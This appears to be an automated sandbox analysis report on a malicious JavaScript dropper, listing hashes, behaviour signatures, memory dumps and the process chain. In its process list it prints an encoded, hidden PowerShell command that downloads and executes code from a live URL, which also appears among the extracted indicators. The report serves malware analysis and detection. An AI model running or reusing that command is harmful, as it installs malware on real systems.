Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 19:21

General

  • Target

    add32be9e2d05996c407f821f7dbd9bb.js

  • Size

    129KB

  • MD5

    add32be9e2d05996c407f821f7dbd9bb

  • SHA1

    73449ed3060bbf4f0f44d9076084941582f028e5

  • SHA256

    417c85aa58b0fa02784d751dea987d16e95808bed65a2ca57b5e81dac9989c16

  • SHA512

    0f7c202b845e3076960fd0ab8279ad21ec30d33c50ba9e07978da6fa9cca3d9b33e07356cd2572181fb1501e22cb3f18ad1915e2de5c54d4b3661511dbbc650f

  • SSDEEP

    3072:An29Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5e0:A29Ry9RuXqW4SzUHmLKeMMU7GwWBPwVL

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\add32be9e2d05996c407f821f7dbd9bb.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3916
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3648

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vkcsck3z.zeb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3648-1-0x0000013AC4E30000-0x0000013AC4E52000-memory.dmp

          Filesize

          136KB

        • memory/3648-12-0x0000013ADCF60000-0x0000013ADCF70000-memory.dmp

          Filesize

          64KB

        • memory/3648-13-0x0000013ADCF60000-0x0000013ADCF70000-memory.dmp

          Filesize

          64KB

        • memory/3648-3-0x00007FFDCF180000-0x00007FFDCFC41000-memory.dmp

          Filesize

          10.8MB

        • memory/3648-14-0x0000013ADCF60000-0x0000013ADCF70000-memory.dmp

          Filesize

          64KB

        • memory/3648-18-0x00007FFDCF180000-0x00007FFDCFC41000-memory.dmp

          Filesize

          10.8MB

        • memory/3648-17-0x0000013ADCF60000-0x0000013ADCF70000-memory.dmp

          Filesize

          64KB